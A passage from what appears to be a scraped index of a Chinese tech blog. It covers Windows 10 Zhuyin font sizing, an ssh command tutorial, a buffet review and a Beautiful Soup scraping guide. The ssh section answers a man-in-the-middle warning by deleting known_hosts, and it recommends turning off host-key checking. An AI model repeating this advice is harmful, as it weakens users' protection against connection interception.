檔轉為圖片檔的指令教學與範例整理"},{"content":"這裡介紹如何改變 Windows 10 注音輸入法視窗的字型大小，解決老花眼看不清楚小字的問題。\nWindows 10 內建的注音輸入法，在選擇同音字的時候，候選字視窗的字型大小不是非常大，如果又在 PPI 比較高的螢幕上使用時，預設的字型大小對於一般人來說真的會太小、看不清楚，若是老花眼的話，幾乎完全無法使用。\n還好微軟注音輸入法視窗的字型大小是可以自由調整的，以下是把字型大小放大的操作步驟。\nStep 1\n在 Windows 10 的主選單中，點選「設定」。\nStep 2\n點選「時間與語言」。\nStep 3\n從左側選單選擇「地區與語言」，接著選擇語言中的「中文（台灣）」。\nStep 4\n點選「中文（台灣）」的「選項」。\nStep 5\n點選「微軟注音」。\nStep 6\n點選「微軟注音」的「選項」。\nStep 7\n在微軟注音輸入法設定頁面的下方，點選「開啟進階設定」。\nStep 8\n在進階設定頁面中，即可調整輸入法候選字窗的字型大小設定。\nStep 9\n字型大小有三種可以選擇，預設是 100% 的正常大小，若要加大字型，則可選擇 120% 的加大字型或是 200% 的特大字型。\n若選擇 120% 的加大字型，使用起來的畫面會像這樣，選字的視窗會稍微大一點。\n若選擇 200% 的特大字型，畫面就會像這樣，字型非常大，每個字的筆劃都可以看得非常清楚，若常需要打一些古文，或是老花眼的人就很適合用這種特大字型。\n","permalink":"https://blog.gtwang.org/windows/windows-10-zhuyin-input-method-change-font-size-tutorial/","summary":"\u003cp\u003e這裡介紹如何改變 Windows 10 注音輸入法視窗的字型大小，解決老花眼看不清楚小字的問題。\u003c/p\u003e\n\u003cp\u003eWindows 10 內建的注音輸入法，在選擇同音字的時候，候選字視窗的字型大小不是非常大，如果又在 PPI 比較高的螢幕上使用時，預設的字型大小對於一般人來說真的會太小、看不清楚，若是老花眼的話，幾乎完全無法使用。\u003c/p\u003e","title":"Windows 10 注音輸入法候選字視窗字型大小修改教學"},{"content":"這裡介紹在 Linux 系統上的 ssh 安全加密連線指令的使用方式與範例，以及相關設定檔的配置技巧。\nSSH 是一種安全加密傳輸協定，絕大部分的 Linux 伺服器都會提供 SSH 的連線服務，讓使用者或管理者遠端連線進來，透過 Linux 的 shell 來處理各種工作或系統管理。\n以下我們會介紹各種常見的 ssh 指令使用方式，並提供多實用的指令稿範例，讓初學者快速上手，熟悉 Linux 遠端操作與管理的各項技巧。\n基本用法 在 Linux 系統上若要使用 SSH 連線至遠端的另外一台 Linux 伺服器，可以使用 ssh 這個指令，其語法為：\nssh 帳號@主機 這裡的「主機」就是遠端主機的 IP 位址或主機名稱，而「帳號」就是那一台遠端主機上的帳號名稱。\n舉例來說，如果要以 seal 這個帳號登入 myhost.gtwang.org 這台主機，就執行：\n# 連線至 myhost.gtwang.org，以 seal 這個帳號登入（本地端執行指令） ssh seal@myhost.gtwang.org 建立連線時，要輸入該帳號的密碼，通過認證之後，就可以登入該主機，遠端進行操作。\nSSH 預設會以密碼進行認證，若不想輸入密碼，可以改用公開金鑰認證，更方便也更安全，詳細教學請參考 SSH 公開金鑰認證設定教學。\n主機的指定也可以使用 IP 位址，例如：\n# 連線至 192.168.1.2，以 seal 這個帳號登入（本地端執行指令） ssh seal@192.168.1.2 如果本地端的目前的使用者帳號名稱剛好跟遠端的使用者帳號名稱相同的話，就可以把帳號與 @ 都省略，只指定主機即可，比方說如果本地端的目前的使用者名稱也是 seal 的話，我們就可以省略帳號，只寫主機：\n# 連線至 myhost.gtwang.org，以目前正在使用的帳號名稱登入（本地端執行指令） ssh myhost.gtwang.org 指定連接埠號 標準的 SSH 服務會使用 22 連接埠，但這不是強制性的，許多伺服器會因為安全性因素，改用其他的連接埠，若遇到使用非正規連接埠號的伺服器，我們可以使用 -p 指定埠號，例如指定埠號為 2222：\n# 指定連接埠號為 2222（本地端執行指令） ssh -p 2222 seal@myhost.gtwang.org 指端執行指令 若連線到遠端的 Linux 伺服器上，只是為了執行單一指令的話，可以直接把要執行的遠端指令放在 ssh 參數的最尾端，這樣在 SSH 連線建立之後，就會自動執行該指令，執行完成後自動離開，可讓指令更簡潔。\n以下的範例會連線至遠端 Linux 伺服器，執行 ls -l 輸出自己目錄下的所有檔案：\n# 執行遠端的 ls -l 指令（本地端執行指令） ssh seal@myhost.gtwang.org ls -l 如果要執行的遠端指令結構比較複雜時，建議使用引號把遠端的指令明確區隔開來，避免 shell 的解析結果跟設計者所想像的情境有所差異。例如若要把遠端 ls -l 的輸出訊息儲存至遠端的 ls.remote.out 檔案中，可以這樣寫：\n# 執行遠端的 ls -l 指令， # 輸出至遠端的 ls.remote.out 檔案（本地端執行指令） ssh seal@sim.nchc.org.tw \u0026#39;ls -l \u0026gt; ls.remote.out\u0026#39; 若想要把遠端 ls -l 的輸出訊息儲存至本地端的 ls.local.out 檔案中，則必須這樣寫：\n# 執行遠端的 ls -l 指令， # 輸出至本地端的 ls.local.out 檔案（本地端執行指令） ssh seal@sim.nchc.org.tw \u0026#39;ls -l\u0026#39; \u0026gt; ls.local.out # 或是不加引號亦可（本地端執行指令） ssh seal@sim.nchc.org.tw ls -l \u0026gt; ls.local.out 在這種有管線導向的指令結構下，引號的使用是很重要的，如果沒有注意的話，執行結果就會跟自己的想像有所落差。\n遠端 X Window 顯示 如果想要在遠端 Linux 伺服器上執行圖形介面的程式，將畫面顯示在本地端的螢幕上，可以使用 ssh 的 X11 forwarding 功能，例如：\n# 建立支援 X11 forwarding 的 SSH 連線（本地端執行指令） ssh -X seal@myhost.gtwang.org 在建立支援 X11 forwarding 的 SSH 連線，連線到遠端的 Linux 伺服器上之後，此時只要執行一般的圖形介面程式，就會將視窗畫面直接顯示於本地端的螢幕上了。\n# 執行遠端的 xterm（遠端執行指令） xterm 執行後的畫面會類似這樣，使用起來就跟在本地端執行差不多，只是多少會有一些網路的延遲。\n我們也可以把要執行的指令直接放在 ssh 參數中，簡化成一行指令，這樣的執行效果跟上面的兩行指令相同：\n# 建立支援 X11 forwarding 的 SSH 連線， # 並執行遠端的 xterm（本地端執行指令） ssh -X seal@myhost.gtwang.org xterm 當我們使用 ssh 的 -X 參數建立支援 X11 forwarding 的 SSH 連線時，遠端的 Linux 伺服器會被視為「不安全、不被信任」的主機，為了保護本地端的系統安全，在這種狀況下某些比較不安全的會被禁止執行，若剛好我們使用的軟體需要執行這些危險動作的話，就會產生錯誤。\n若想要將遠端的系統視為「安全且被信任」的主機，可以改用 -Y 參數，其效果跟 -X 類似，只不過不會有任何安全性的限制：\n# 建立支援 X11 forwarding 的 SSH 連線， # 並將遠端 Linux 視為安全且被信任的主機（本地端執行指令） ssh -Y seal@myhost.gtwang.org 安全加密通道 安全加密通道（SSH tunnel）是建立在 SSH 連線之上的連線通道，任何不具備加密功能的網路連線軟體，只要透過這個通道建立連線，即可受到 SSH 加密連線的保護，避免傳輸的資料被輕易側錄與竊取。\nssh 可以建立的安全加密通道類型總共有四種，第一種是從本地端連線至遠端主機：\n# 讓本地端 1234 連接埠連接至 myhost.gtwang.org 主機 # 的 localhost:5678 連接埠 ssh -NL 1234:localhost:5678 myhost.gtwang.org 第二種是從本地端連線至遠端主機後方的另外一台主機：\n# 讓本地端 1234 連接埠連接至 myhost2.gtwang.org 主機 # 的 5678 連接埠 ssh -NL 1234:myhost2.gtwang.org:5678 myhost.gtwang.org 第三種是從遠端連線至本地端：\n# 讓 myhost.gtwang.org 主機的 1234 連接埠連接至 # 本地端的 localhost:5678 連接埠 ssh -NR 1234:localhost:5678 myhost.gtwang.org 最後一種則是從遠端連線至本地端內部的另外一台主機：\n# 讓 myhost.gtwang.org 主機的 1234 連接埠連接至 # 本地端內部主機的 internalhost 的 5678 連接埠 ssh -NR 1234:internalhost:5678 myhost.gtwang.org 關於安全加密通道更詳細的用法與範例，我未來會再寫一篇文章專門介紹，目前請大家先上 Google 查詢「ssh tunnel」這個關鍵字。\n背景執行 在使用 ssh 執行某些會持續很久的指令時，在指令執行後 shell 就擋住（等待 ssh 執行完畢），無法繼續執行其他指令，當然我們可以另外再開一個新的終端機來使用，不過這樣可能會讓整個桌面都充斥著停住的終端機。\n在執行這類的 ssh 指令時，我們可以加上 -f 參數，讓指令放在背景執行，這樣會造成需要開啟很多終端機的問題，以下是一些常見的使用情境。\n最常見的就是執行遠端的圖形介面軟體，通常啟動軟體之後，終端機就會被擋住，加入 -f 參數即可讓 ssh 的指令放在背景執行，而等到我們關閉圖形介面的軟體時，該 ssh 連線就會自動中止，這樣使用起來會更方便：\n# 讓 ssh 在背景執行，啟動 xterm ssh -fX seal@myhost.gtwang.org xterm 另外一個例子就是建立 SSH 安全加密通道，通道建立之後，放在背景執行也會比較方便：\n# 讓 ssh 在背景執行，建立安全加密通道 ssh -fNL 1234:localhost:5678 myhost.gtwang.org 除錯模式 開啟 SSH 的除錯模式後，可以輸出詳細的偵錯訊息，協助管理者解決連線問題。\n# 開啟第一級除錯模式 ssh -v seal@myhost.gtwang.org # 開啟第二級除錯模式 ssh -vv seal@myhost.gtwang.org # 開啟第三級除錯模式 ssh -vvv seal@myhost.gtwang.org 除錯模式下所輸出的訊息會類似這樣：\n實用指令稿範例 以下是一些跟 ssh 有關的實用指令稿範例。\n遠端複製與備份檔案 若需要在 Linux 伺服器之間複製或備份檔案，可以使用 rsync 這個指令，它預設就會自動使用 ssh 建立安全加密的連線來進行備份：\n# 用 rsync 透過 ssh 連線備份檔案 rsync -avzh /mypath/myfile.gz seal@192.168.1.2:/mybackup/ 關於更詳細的 rsync 指令用法，請參考 rsync 遠端檔案同步與備份工具教學與範例。\n除了 rsync 之外，也可以自己使用 ssh 配合 tar 指令，進行檔案的遠端複製或備份：\n# 將本地端的 folder 目錄備份至遠端的 /dest/ 目錄下 tar cf - folder | ssh seal@192.168.1.2 \u0026#34;(cd /dest/; tar xf -)\u0026#34; # 將遠端的 /your/folder 目錄備份至本地端目前目錄下 ssh seal@192.168.1.2 \u0026#34;(cd /your/; tar cf - folder)\u0026#34; | tar xf - 以上的範例只是使用 tar 打包檔案，並使用 ssh 傳送資料，然後直接解開，並沒有壓縮資料，若想要壓縮資料節省網路頻寬，可以在 tar 的參數加上 -c（gzip）或是 -j（bzip2）等壓縮參數。\n以下是將檔案壓縮備份的範例：\n# 將端的 /your/path/ 目錄備份至本地端的 /my/file.tar.gz ssh seal@192.168.1.2 tar zcf - /your/path/ \u0026gt; /your/file.tar.gz # 將本地端的 /my/path/ 目錄備份至遠端的 /your/file.tar.gz tar zcf - /my/path/ | ssh seal@192.168.1.2 \u0026#34;cat \u0026gt; /your/file.tar.gz\u0026#34; 以下是解壓縮檔案的範例：\n# 將本地端的 /my/file.tar.gz 壓縮檔解開，放至於遠端的 /dest/ 之下 ssh seal@192.168.1.2 \u0026#34;(cd /dest/;tar zxf -)\u0026#34; \u0026amp;lt; /my/file.tar.gz # 將遠端的 /your/file.tar.gz 壓縮檔解開，放至於本地端目前目錄 ssh seal@192.168.1.2 \u0026#34;cat /your/file.tar.gz\u0026#34; | tar zxf - 控制多台 Linux 伺服器 如果想要一次控制多台 Linux 伺服器，執行相同的指令，可以在設定好 SSH 公開金鑰認證之後，使用簡單的 shell 指令稿即可同時對多台 Linux 伺服器送出相同的指令，同時管理多台主機：\n#!/usr/bin/bash # 以迴圈自動對 10 台 Linux 伺服器送出指令 for host in 192.168.1.{20..29}; do # 在每一台 Linux 伺服器上執行 hostname 指令 ssh $host hostname done 常見問題 以下我整理了一些關於 ssh 指令在使用上常見的問題，以及解決方法。\n主機金鑰變更問題 每台開啟 SSH 服務的 Linux 主機，都會自己產生一組獨一無二的主機金鑰，ssh 在連線時都會去核對自己紀錄中的主機金鑰與收到的主機金鑰是否吻合。\n當我們的 Linux 伺服器進行一些系統變更時（例如重灌系統），就有可能會改變伺服器上的主機金鑰，隨後 ssh 在檢查主機金鑰時就會發現金鑰不對，而出現這樣的警告訊息：\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the ECDSA key sent by the remote host is SHA256:Llaul7Wqs6bo2H1YTvNpEmRSAozuIRJCsFuDqBt64lk. Please contact your system administrator. Add correct host key in /home/seal/.ssh/known_hosts to get rid of this message. Offending ECDSA key in /home/seal/.ssh/known_hosts:1 ECDSA host key for dendrite02 has changed and you have requested strict checking. Host key verification failed. 遇到這種狀況時，可將 ~/.ssh/known_hosts 這個主機金鑰紀錄刪除，讓 ssh 自動重新抓取新的主機金鑰即可：\nrm ~/.ssh/known_hosts 不過由於這個檔案包含所有連線過的主機金鑰，所以若整個刪除的話，其他主機的金鑰之後也要重新抓取，如果不想這樣的話，也可以開啟這個設定檔，把對應的那一行主機金鑰刪除即可。\n自動加入未知的主機金鑰 有時候我們會需要撰寫指令稿，自動連線至許多台 Linux 主機進行控制，由於 ssh 在第一次連線到新的主機時，會詢問是否加入新的主機金鑰，如果在指令稿要連線的主機非常多的話，每一台都要手動輸入 yes 來新增主機金鑰是一件非常累人的事情。\n遇到這種狀況我們就可以關閉 StrictHostKeyChecking 這個主機金鑰檢查功能，讓 ssh 自動將沒看過的主機金鑰加入 ~/.ssh/known_hosts 紀錄檔中：\n# 自動加入未知的主機金鑰，不要詢問 ssh -o StrictHostKeyChecking=no seal@myhost.gtwang.org 參考資料 鳥哥的 Linux 私房菜 Tecmint Tecmint DigitalOcean DigitalOcean ","permalink":"https://blog.gtwang.org/linux/ssh-command-tutorial-and-script-examples/","summary":"\u003cp\u003e這裡介紹在 Linux 系統上的 \u003ccode\u003essh\u003c/code\u003e 安全加密連線指令的使用方式與範例，以及相關設定檔的配置技巧。\u003c/p\u003e\n\u003cp\u003eSSH 是一種安全加密傳輸協定，絕大部分的 Linux 伺服器都會提供 SSH 的連線服務，讓使用者或管理者遠端連線進來，透過 Linux 的 shell 來處理各種工作或系統管理。\u003c/p\u003e","title":"Linux 的 SSH 安全加密連線指令使用教學、設定檔配置範例"},{"content":"本篇是我今天去台南饗食天堂西門店吃素食餐點的紀錄。\n今天中午我到台南饗食天堂西門店用餐，他的位置位於新光三越西門二館地下二樓，汽車可以停在新光三越的地下停車場，在饗食天堂用餐可以折抵三小時的停車費。\n饗食天堂是一般的歐式自助餐（吃到飽），並不是素食餐廳，不過卻有提供相當友善的素食餐點與標示，例如全素、蛋素、奶素、五辛素，讓素食者可以比較放心在這裡用餐。\n饗食天堂的素食餐點是直接跟服務生點的，這是這裡的素食菜單，由於是吃到飽的餐廳，所以要點多少都可以，不過我覺得前菜、主食、副食、港點、熱湯都各點一樣就已經差不多了，因為現場還有沙拉、飲料、甜點與水果可以自己拿。\n這是我點的蘆筍生菜手卷。\n這道是波特菇香炒飯，它們每道餐點的分量都不多，我是感覺這樣設計很好，可以吃比較多道餐點。\n這是香烤杏鮑菇。\n這道是芝麻流沙包。\n裡面有兩個芝麻流沙包。\n流沙包的意思就是咬下去，芝麻餡會流下來，我覺得很好吃。\n這是竹笙金針湯。\n這是金湯佛跳牆，小小一碗，份量剛好。\n這是裡面的料。\n還有栗子。\n素食者除了點餐之外，也可以去拿一些素食可以吃的東西，沙拉區大部分都是素食的。\n在各個吧檯上的的餐點標示都很清楚。\n這些是沙拉配料，有一些是素食的，有一些不是，所以要注意看，不要亂拿。\n這些是生菜。\n醬料有一些是純素，有一些是五辛素，拿的時候也要稍微看一下。\n這一盤是我夾的沙拉。\n甜點區有許多蛋糕、甜點、巧克力等。\n各種餅乾、花生糖。\n這是我夾的一盤餅乾與蛋糕。\n這裡的蛋糕種類也不少。\n水果區我想就不必介紹了。\n飲料區有好多種飲料可以選擇喔。\n熱茶區有各種茶包。\n還有現磨的咖啡。\n雖然很想把素食菜單上的餐點都吃過，不過我各點一項再加上吧檯上的餐點吃過一輪之後，就很撐了，所以就只拍了這些。\n這次來這邊是真的來用餐的，所以只帶了小台的 Olumpus E-PL6 與 17mm 的小鏡頭，一邊吃飯一邊順便拍個幾張照片，所以照片品質不好，請大家多包涵。\n","permalink":"https://blog.gtwang.org/life/eatogether-vegetarian-meal-tainan-20180202/","summary":"\u003cp\u003e本篇是我今天去台南饗食天堂西門店吃素食餐點的紀錄。\u003c/p\u003e\n\u003cp\u003e今天中午我到台南饗食天堂西門店用餐，他的位置位於新光三越西門二館地下二樓，汽車可以停在新光三越的地下停車場，在饗食天堂用餐可以折抵三小時的停車費。\u003c/p\u003e","title":"台南饗食天堂西門店素食餐點紀錄"},{"content":"這裡介紹如何使用 Python 的 Beautiful Soup 模組自動下載並解析網頁資料，開發典型的網路爬蟲程式。\nBeautiful Soup 是一個 Python 的函式庫模組，可以讓開發者僅須撰寫非常少量的程式碼，就可以快速解析網頁 HTML 碼，從中翠取出使用者有興趣的資料、去蕪存菁，降低網路爬蟲程式的開發門檻、加快程式撰寫速度。\nBeautiful Soup 這套模組的網頁結構搜尋與萃取功能相當完整，這裡我們只介紹比較常用的幾種功能，更詳細的用法請參考 Beautiful Soup 官方的說明文件。\n安裝 Beautiful Soup Beautiful Soup 可以使用 pip 安裝：\n# 安裝 Python 2 的 Beautiful Soup 4 模組 pip install beautifulsoup4 # 安裝 Python 3 的 Beautiful Soup 4 模組 pip3 install beautifulsoup4 在 Ubuntu Linux 中亦可使用 apt 安裝：\n# 安裝 Python 2 的 Beautiful Soup 4 模組 sudo apt-get install python-bs4 # 安裝 Python 3 的 Beautiful Soup 4 模組 sudo apt-get install python3-bs4 Beautiful Soup 基本用法 Beautiful Soup 的運作方式就是讀取 HTML 原始碼，自動進行解析並產生一個 BeautifulSoup 物件，此物件中包含了整個 HTML 文件的結構樹，有了這個結構樹之後，就可以輕鬆找出任何有興趣的資料了。\n以下是一個簡單的小程式，示範如何使用 Beautiful Soup 模組解析原始的 HTML 程式碼：\n# 引入 Beautiful Soup 模組 from bs4 import BeautifulSoup # 原始 HTML 程式碼 html_doc = \u0026#34;\u0026#34;\u0026#34; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Hello World\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt;\u0026lt;h2\u0026gt;Test Header\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;This is a test.\u0026lt;/p\u0026gt; \u0026lt;a id=\u0026#34;link1\u0026#34; href=\u0026#34;/my_link1\u0026#34;\u0026gt;Link 1\u0026lt;/a\u0026gt; \u0026lt;a id=\u0026#34;link2\u0026#34; href=\u0026#34;/my_link2\u0026#34;\u0026gt;Link 2\u0026lt;/a\u0026gt; \u0026lt;p\u0026gt;Hello, \u0026lt;b class=\u0026#34;boldtext\u0026#34;\u0026gt;Bold Text\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; \u0026#34;\u0026#34;\u0026#34; # 以 Beautiful Soup 解析 HTML 程式碼 soup = BeautifulSoup(html_doc, \u0026#39;html.parser\u0026#39;) 這裡的 soup 就是解析完成後，所產生的結構樹物件，接下來所有資料的搜尋、萃取等操作都會透過這個物件來進行。\n首先我們可以將完整個 HTML 結構經過排版後輸出，觀察整份文件的輪廓：\n# 輸出排版後的 HTML 程式碼 print(soup.prettify()) \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt; Hello World \u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h2\u0026gt; Test Header \u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt; This is a test. \u0026lt;/p\u0026gt; \u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt; Link 1 \u0026lt;/a\u0026gt; \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt; Link 2 \u0026lt;/a\u0026gt; \u0026lt;p\u0026gt; Hello, \u0026lt;b class=\"boldtext\"\u0026gt; Bold Text \u0026lt;/b\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 取得節點文字內容 若要輸出網頁標題的 HTML 標籤，可以直接指定網頁標題標籤的名稱（title），即可將該標籤的節點抓出來：\n# 網頁標題 HTML 標籤 title_tag = soup.title print(title_tag) \u0026lt;title\u0026gt;Hello World\u0026lt;/title\u0026gt; HTML 標籤節點的文字內容，可以透過 string 屬性存取：\n# 網頁的標題文字 print(title_tag.string) Hello World 搜尋節點 我們可以使用 find_all 找出所有特定的 HTML 標籤節點，再以 Python 的迴圈來依序輸出每個超連結的文字：\n# 所有的超連結 a_tags = soup.find_all(\u0026#39;a\u0026#39;) for tag in a_tags: # 輸出超連結的文字 print(tag.string) Link 1 Link 2 取出節點屬性 若要取出 HTML 節點的各種屬性，可以使用 get，例如輸出每個超連結的網址（href 屬性）：\nfor tag in a_tags: # 輸出超連結網址 print(tag.get(\u0026#39;href\u0026#39;)) /my_link1 /my_link2 同時搜尋多種標籤 若要同時搜尋多種 HTML 標籤，可以使用 list 來指定所有的要列出的 HTML 標籤名稱：\n# 搜尋所有超連結與粗體字 tags = soup.find_all([\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;]) print(tags) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt;, \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt;Link 2\u0026lt;/a\u0026gt;, \u0026lt;b class=\"boldtext\"\u0026gt;Bold Text\u0026lt;/b\u0026gt;] 限制搜尋節點數量 find_all 預設會輸出所有符合條件的節點，但若是遇到節點數量很多的時候，就會需要比較久的計算時間，如果我們不需要所有符合條件的節點，可以用 limit 參數指定搜尋節點數量的上限值，這樣它就只會找出前幾個符合條件的節點：\n# 限制搜尋結果數量 tags = soup.find_all([\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;], limit=2) print(tags) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt;, \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt;Link 2\u0026lt;/a\u0026gt;] 如果只需要抓出第一個符合條件的節點，可以直接使用 find：\n# 只抓出第一個符合條件的節點 a_tag = soup.find(\u0026#34;a\u0026#34;) print(a_tag) \u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt; 遞迴搜尋 預設的狀況下，find_all 會以遞迴的方式尋找所有的子節點：\n# 預設會以遞迴搜尋 soup.html.find_all(\u0026#34;title\u0026#34;) [\u0026lt;title\u0026gt;Hello World\u0026lt;/title\u0026gt;] 如果想要限制 find_all 只找尋次一層的子節點，可以加上 recursive=False 關閉遞迴搜尋功能：\n# 不使用遞迴搜尋，僅尋找次一層的子節點 soup.html.find_all(\u0026#34;title\u0026#34;, recursive=False) [] 接下來我們要介紹一些更詳細的使用方式。\n以 HTML 屬性搜尋 我們也可以根據網頁 HTML 元素的屬性來萃取指定的 HTML 節點，例如搜尋 id 屬性為 link2 的節點：\n# 根據 id 搜尋 link2_tag = soup.find(id=\u0026#39;link2\u0026#39;) print(link2_tag) \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt;Link 2\u0026lt;/a\u0026gt; 我們可以結合 HTML 節點的名稱與屬性進行更精確的搜尋，例如搜尋 href 屬性為 /my_link1 的 a 節點：\n# 搜尋 href 屬性為 /my_link1 的 a 節點 a_tag = soup.find_all(\u0026#34;a\u0026#34;, href=\u0026#34;/my_link1\u0026#34;) print(a_tag) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt;] 搜尋屬性時，也可以使用正規表示法，例如以正規表示法比對超連結網址：\nimport re # 以正規表示法比對超連結網址 links = soup.find_all(href=re.compile(\u0026#34;^/my_linkd\u0026#34;)) print(links) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt;, \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt;Link 2\u0026lt;/a\u0026gt;] 我們也可以同時使用多個屬性的條件進行篩選：\n# 以多個屬性條件來篩選 link = soup.find_all(href=re.compile(\u0026#34;^/my_linkd\u0026#34;), id=\u0026#34;link1\u0026#34;) print(link) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt;] 在 HTML5 中有一些屬性名稱若直接寫在 Python 的參數中會有一些問題，例如 data-* 這類的屬性直接寫的話，就會產生錯誤訊息：\ndata_soup = BeautifulSoup(\u0026#39;\u0026lt;div data-foo=\u0026#34;value\u0026#34;\u0026gt;foo!\u0026lt;/div\u0026gt;\u0026#39;, \u0026#39;html.parser\u0026#39;) # 錯誤的用法 data_soup.find_all(data-foo=\u0026#34;value\u0026#34;) SyntaxError: keyword can't be an expression 遇到這種狀況，可以把屬性的名稱與值放進一個 dictionary 中，再將此 dictionary 指定給 attrs 參數即可：\n# 正確的用法 data_soup.find_all(attrs={\u0026#34;data-foo\u0026#34;: \u0026#34;value\u0026#34;}) [\u0026lt;div data-foo=\"value\"\u0026gt;foo!\u0026lt;/div\u0026gt;] 以 CSS 搜尋 由於 class 是 Python 程式語言的保留字，所以 Beautiful Soup 改以 class_ 這個名稱代表 HTML 節點的 class 屬性，例如搜尋 class 為 boldtext 的 b 節點：\n# 搜尋 class 為 boldtext 的 b 節點 b_tag = soup.find_all(\u0026#34;b\u0026#34;, class_=\u0026#34;boldtext\u0026#34;) print(b_tag) [\u0026lt;b class=\"boldtext\"\u0026gt;Bold Text\u0026lt;/b\u0026gt;] CSS 的 class 屬性也可以使用正規表示法搜尋：\n# 以正規表示法搜尋 class 屬性 b_tag = soup.find_all(class_=re.compile(\u0026#34;^bold\u0026#34;)) print(b_tag) [\u0026lt;b class=\"boldtext\"\u0026gt;Bold Text\u0026lt;/b\u0026gt;] 一個 HTML 標籤元素可以同時有多個 CSS 的 class 屬性值，而我們在以 class_ 比對時，只要其中一個 class 符合就算比對成功，例如：\ncss_soup = BeautifulSoup(\u0026#39;\u0026lt;p class=\u0026#34;body strikeout\u0026#34;\u0026gt;\u0026lt;/p\u0026gt;\u0026#39;, \u0026#39;html.parser\u0026#39;) # 只要其中一個 class 符合就算比對成功 p_tag = css_soup.find_all(\u0026#34;p\u0026#34;, class_=\u0026#34;strikeout\u0026#34;) print(p_tag) [\u0026lt;p class=\"body strikeout\"\u0026gt;\u0026lt;/p\u0026gt;] 我們也可以拿完整的 class 字串來進行比對：\n# 比對完整的 class 字串 p_tag = css_soup.find_all(\u0026#34;p\u0026#34;, class_=\u0026#34;body strikeout\u0026#34;) print(p_tag) [\u0026lt;p class=\"body strikeout\"\u0026gt;\u0026lt;/p\u0026gt;] 不過如果多個 class 名稱排列順序不同時，就會失敗：\n# 若順序不同，則會失敗 p_tag = css_soup.find_all(\u0026#34;p\u0026#34;, class_=\u0026#34;strikeout body\u0026#34;) print(p_tag) [] 遇到多個 CSS class 的狀況，建議改用 CSS 選擇器來篩選：\n# 使用 CSS 選擇器 p_tag = css_soup.select(\u0026#34;p.strikeout.body\u0026#34;) print(p_tag) [\u0026lt;p class=\"body strikeout\"\u0026gt;\u0026lt;/p\u0026gt;] 以文字內容搜尋 若要依據文字內容來搜尋特定的節點，可以使用 find_all 配合 string 參數：\nlinks_html = \u0026#34;\u0026#34;\u0026#34; \u0026lt;a id=\u0026#34;link1\u0026#34; href=\u0026#34;/my_link1\u0026#34;\u0026gt;Link One\u0026lt;/a\u0026gt; \u0026lt;a id=\u0026#34;link2\u0026#34; href=\u0026#34;/my_link2\u0026#34;\u0026gt;Link Two\u0026lt;/a\u0026gt; \u0026lt;a id=\u0026#34;link3\u0026#34; href=\u0026#34;/my_link3\u0026#34;\u0026gt;Link Three\u0026lt;/a\u0026gt; \u0026#34;\u0026#34;\u0026#34; soup = BeautifulSoup(links_html, \u0026#39;html.parser\u0026#39;) # 搜尋文字為「Link One」的超連結 soup.find_all(\u0026#34;a\u0026#34;, string=\u0026#34;Link One\u0026#34;) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link One\u0026lt;/a\u0026gt;] 亦可使用正規表示法批配文字內容：\n# 以正規表示法搜尋文字為「Link」開頭的超連結 soup.find_all(\u0026#34;a\u0026#34;, string=re.compile(\u0026#34;^Link\u0026#34;)) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link One\u0026lt;/a\u0026gt;, \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt;Link Two\u0026lt;/a\u0026gt;, \u0026lt;a href=\"/my_link3\" id=\"link3\"\u0026gt;Link Three\u0026lt;/a\u0026gt;] 向上、向前與向後搜尋 前面介紹的 find_all 都是向下搜尋子節點，如果需要向上搜尋父節點的話，可以改用 find_parents 函數（或是 find_parent），它可讓我們以某個特定節點為起始點，向上搜尋父節點：\nhtml_doc = \u0026#34;\u0026#34;\u0026#34; \u0026lt;body\u0026gt;\u0026lt;p class=\u0026#34;my_par\u0026#34;\u0026gt; \u0026lt;a id=\u0026#34;link1\u0026#34; href=\u0026#34;/my_link1\u0026#34;\u0026gt;Link 1\u0026lt;/a\u0026gt; \u0026lt;a id=\u0026#34;link2\u0026#34; href=\u0026#34;/my_link2\u0026#34;\u0026gt;Link 2\u0026lt;/a\u0026gt; \u0026lt;a id=\u0026#34;link3\u0026#34; href=\u0026#34;/my_link3\u0026#34;\u0026gt;Link 3\u0026lt;/a\u0026gt; \u0026lt;a id=\u0026#34;link3\u0026#34; href=\u0026#34;/my_link4\u0026#34;\u0026gt;Link 